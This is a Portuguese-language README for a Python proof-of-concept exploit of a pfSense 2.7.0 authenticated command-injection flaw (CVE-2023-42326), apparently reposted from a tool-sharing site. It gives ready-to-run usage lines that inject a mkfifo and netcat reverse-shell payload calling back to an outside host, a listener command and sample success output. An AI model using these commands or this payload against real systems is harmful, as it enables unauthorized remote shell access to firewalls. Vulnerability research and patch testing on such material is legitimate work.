Exploit de Injeção de Comandos no pfSense 2.7.0 (CVE-2023-42326)

Este script em Python é um exploit de prova de conceito (PoC) para a vulnerabilidade de injeção de comandos (CVE-2023-42326) no pfSense 2.7.0. A vulnerabilidade permite que atacantes autenticados injetem e executem comandos arbitrários por meio dos componentes interfaces_gif_edit.php e interfaces_gre_edit.php.

Funcionalidades

• Seleção do modo de exploit (gif ou gre) para escolher os componentes vulneráveis.
• Capacidade de injeção de comandos para executar comandos shell arbitrários.
• Tratamento de reverse shell via Netcat com gerenciamento automático de threads.
• Modo de depuração para maior visibilidade dos dados das requisições.

Pré-requisitos

Antes de executar o script, certifique-se de que você tem:

• Python 3.x instalado no seu sistema.
• As bibliotecas Python necessárias instaladas:
  root@kitploit:~

  pip install requests beautifulsoup4 rich
  

Uso

Exemplo Básico (Injeção de Comandos)

Este comando injeta um comando shell que cria um reverse shell de volta para sua máquina:

python3 exploit.py -u "admin" -p "pfsense" --mode "gif" -t "http://10.101.1.1" -c "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.151.1 80 > /tmp/f &"

• -u: Nome de usuário para o login de administrador do pfSense.
• -p: Senha para o login de administrador do pfSense.
• --mode: Modo de exploit (gif ou gre).
• -t: URL de destino do pfSense.
• -c: O comando shell a ser injetado.
• -d: (Opcional) Ativa o modo de depuração para ver os dados brutos da resposta.

Exemplo de Reverse Shell

Certifique-se de ter um listener Netcat em execução na sua máquina:

nc -lvnp 80

Em seguida, execute o script com um comando de reverse shell como este:

python3 exploit.py -u "admin" -p "pfsense" --mode "gif" -t "http://10.101.1.1" -c "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.151.1 80 > /tmp/f &"  --insecure(for https without valid ssl)

GIFs de Demonstração

1. Fazendo login no pfSense e explorando a interface GIF

   

2. Executando um Reverse Shell

   

Opções do Script

Exemplo de Saída

Quando o exploit é executado com sucesso, você deve ver uma saída semelhante a esta:

██████╗ ███████╗██████╗ ██╗    ██╗███╗   ██╗███╗   ███╗███████╗
██╔══██╗██╔════╝██╔══██╗██║    ██║████╗  ██║████╗ ████║██╔════╝
██████╔╝█████╗  ██████╔╝██║ █╗ ██║██╔██╗ ██║██╔████╔██║█████╗  
██╔═══╝ ██╔══╝  ██╔═══╝ ██║███╗██║██║╚██╗██║██║╚██╔╝██║██╔══╝  
██║     ██║     ██║     ╚███╔███╔╝██║ ╚████║██║ ╚═╝ ██║███████╗
╚═╝     ╚═╝     ╚═╝      ╚══╝╚══╝ ╚═╝  ╚═══╝╚═╝     ╚═╝╚══════╝

Done with ❤️  by @bl4ckarch                                                            
[2024-10-24 03:57:59] [SUCCESS] Target http://10.101.1.1 is reachable
[2024-10-24 03:57:59] [INFO] Fetching CSRF token from: http://10.101.1.1/
[2024-10-24 03:57:59] [SUCCESS] CSRF token extracted successfully
[2024-10-24 03:57:59] [INFO] Sending GIF exploit request to http://10.101.1.1/interfaces_gif_edit.php
[2024-10-24 03:57:59] [SUCCESS] GIF Exploit sent successfully

Notas

• Requisito de Privilégio: Você deve ter credenciais de administrador válidas para a instância do pfSense.
• Sistema Alvo: Este exploit é específico para o pfSense 2.7.0.
• Reverse Shell: Certifique-se de que as configurações do seu firewall permitam conexões de entrada na porta especificada ao configurar um reverse shell.

Modo de Depuração

Se você quiser ver mais detalhes sobre as requisições enviadas, pode ativar o modo de depuração adicionando -d ao seu comando. Isso exibirá os dados da resposta e ajudará você a solucionar quaisquer problemas.

python3 exploit.py -u "admin" -p 'pfsense' --mode 'gif' -t http://10.101.1.1 -c "your_command_here" -d --insecure(for https without valid ssl)

Solução de Problemas

• Certifique-se de que o sistema alvo está acessível.
• Verifique novamente as credenciais usadas para o login.
• Use a flag -d para um registro mais detalhado, se necessário.